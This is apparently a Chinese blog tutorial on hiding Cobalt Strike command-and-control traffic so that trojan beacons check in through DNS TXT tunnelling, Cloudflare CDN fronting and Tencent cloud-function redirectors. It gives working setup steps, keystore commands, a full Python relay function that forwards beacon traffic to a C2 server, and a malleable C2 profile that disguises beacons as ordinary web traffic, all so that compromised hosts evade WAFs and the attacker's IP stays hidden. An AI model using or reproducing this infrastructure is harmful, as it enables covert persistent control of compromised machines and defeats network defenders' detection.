1.前言
话接上篇,上篇写了cs的常见特征隐藏,这次来讲解下,几种木马上线,常见的隐藏方法,其中有代理转发上线,DNS上线,CDN上线,域前置上线,云函数上线。
其中域前置上线,通过 这种方法需要厂商的支持,早些时候的amazon和google云都支持,后来取消了。随后cloudflare也取消了域前置的支持,目前国内的aliyun是支持的,曾经ali的cdn绑定域名不需要校验,可以随意绑定域名,实现高可信度域名绑定,现在则添加了域名验证, 不太好设置,如果想看,可以到我的博客中查看。
咱们这次就介绍三种常用的上线方式,DNS、CDN、云函数上线
2 DNS上线
- 一般我们拿到的shell都是,对出网有限制的,一般只能DNS出网,这时候就要用到我们 DNS 协议建立 C2 通信。,一般waf不会分析DNS流量,这一点也是能够隐蔽的特性。
- DNS_TXT隧道传输:控制端发送的对目标的操作命令被加密后通过DNS的TXT记录里,通过DNS隧道传输隐蔽性较强不易被发现,但传输速度非常慢。
前期准备
- 需要准备一个不需要备案的域名
- 国外vps
正文
域名注册
-
想白嫖域名可以到freenom.com注册一个免费且不用备案的的域名,但是我重来没用成功过。
-
趣域网可以代购国外域名,quyu.net购买一个不需要备案的域名
DNS记录配置
当注册好域名后,我们就要来配置dns了,创建A记录对应IP为VPS的IP,创建NS记录,解析地址为A记录的域名
设置完成后,pingA记录域名验证是否能够解析
CS的Listeners配置
上线之后是个小黑屏,使用checkin
命令让dns beacon强制回连teamserver,并输入命令 mode dns-txt
使传输的数据更多一些。
3 CDN上线
CDN的IP是多个域名共用的,为了做到精确判断,CDN会解析我们的host头,根据这样的方式进行判断通信域名,这样我们设置上线IP设置为CDN服务器的IP,host设置为我们的DNS,达到隐藏IP的需求
前期准备
- CDN服务器,可以选择CloudFlare,amazon,google,tencent,aliyun,都可
- 免备案域名,参考上一节
- 国外vps服务器,可以选择Vultr之类的,实在没用就用国内的也行
正文
CDN服务器注册
- 想白嫖的可以去CloudFlare注册申请免费CDN加速
- 腾讯云,也可以白嫖6个月的免费CDN加速
配置CND服务器
这里我就用,CloudFlare做做测试了,把域名接入到CloudFlare管理,设置默认CDN加速
接入域名后,并添加个A记录域名,开启CDN加速
设置完成后解析下,我们的添加的A记录域名
CS的Listeners配置
Cloudflare支持的HTTP端口是: 80,8080,8880,2052,2082,2086,2095
Cloudflare支持的HTTPs端口是: 443,2053,2083,2087,2096,8443
CDNhttp上线
成功上线
抓包流量走的都是CDN的IP
CDNhttps上线
CS使用CDN后,可以一定程度隐藏IP地址,使用WireShark抓包交互IP都是CDN地址,但是传输协议使用的HTTP,传输内容是没有加密的,如果要加密,则可以使用HTTPS。
还以CloudFlare为例,切换到SSL/TLS栏,证书类型选择完全,如下图:
切换到源服务器,创建证书保存私钥和证书
将生成的内容分别存储为1.pem和1.key(名字可以随便起),传到CS所在的服务器,然后生成新的store文件,执行下面命令,生成相关的store文件:命令中xxx.xxxx.com替换为自己的域名
openssl pkcs12 -export -in 1.pem -inkey 1.key -out a.p12 -name xxx.xxxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore https.store -srckeystore a.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias xxx.xxxx.com
最后需要更改cs的配置文件中https-certificate的配置
https-certificate {
set keystore "https.store";
set password "123456";
}
重启teamserver设置Listeners
抓包查看,流量已经SSL/TLS加密,流量的IP是DNS服务器的IP
4 云函数上线
云函数还是得益于Serverless架构,或者称为无服务器架构,是最近几年新冒出来的一种架构风格,仅需用户编写和上传核心业务代码,交由平台完成部署、调度、流量分发、弹性伸缩等能力。
我们就可以利用云函数,配置个流量转发,C2Client访问云函数,云函数将流量转发到咱们的C2服务器,一般云函数服务器都会配置CDN,这样速度还行,还可以达对C2服务器的隐藏。
前期准备
- 支持云函数的厂商azure,tencent都可
- 国外vps服务器,可以选择Vultr之类的,实在没用就用国内的也行
正文
云函数配置
这里我们用tencent做测试,在控制台中找到云函数,创建给新的云函数服务,选择自定义,python3.6环境
代码为:
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
配置触发器,选择自定义,触发版本选择LATEST最新,触发方式选择API网关触发,这里的API网关触发,根据文档介绍可知它的机制,即将请求内容以参数形式传递给函数,并将函数的返回作为响应的内容。其它选项默认即可。
云函数,配置完成后,我们还要配置下API网关
将路径改为根路径()
更改完成后,即可发布服务,完成后,可以在api服务的基础信息中看到公网的默认访问地址,有80和443两个端口,配置的CS监听地址是http就用80端口,https就用443端口
CS的Listeners配置
配置CS Profile,内容这里参考下面示例
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
Listeners的host和Hosts和Stager Host都设置为你的云函数URL
抓包看流量,C2通信的HOST是api的域名IP是腾讯云的CDN服务器IP
我的博客开通了,还望大佬多多指点